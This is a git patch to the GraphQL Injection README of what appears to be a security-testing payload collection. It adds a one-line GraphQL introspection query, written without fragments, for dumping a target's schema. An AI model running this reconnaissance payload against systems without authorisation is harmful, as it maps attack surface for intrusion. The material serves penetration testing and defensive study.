From 1553115e1974dcd37c1a6a6e057cacd7b8046744 Mon Sep 17 00:00:00 2001 From: marcan2020 Date: Tue, 7 Jul 2020 22:03:01 -0400 Subject: [PATCH] Add introspection without fragments --- GraphQL Injection/README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/GraphQL Injection/README.md b/GraphQL Injection/README.md index 12734ff..e602f85 100644 --- a/GraphQL Injection/README.md +++ b/GraphQL Injection/README.md @@ -156,6 +156,12 @@ query IntrospectionQuery { } ``` +Single line query to dump the database schema without fragments. + +```js +__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}} +``` + ### List path ```php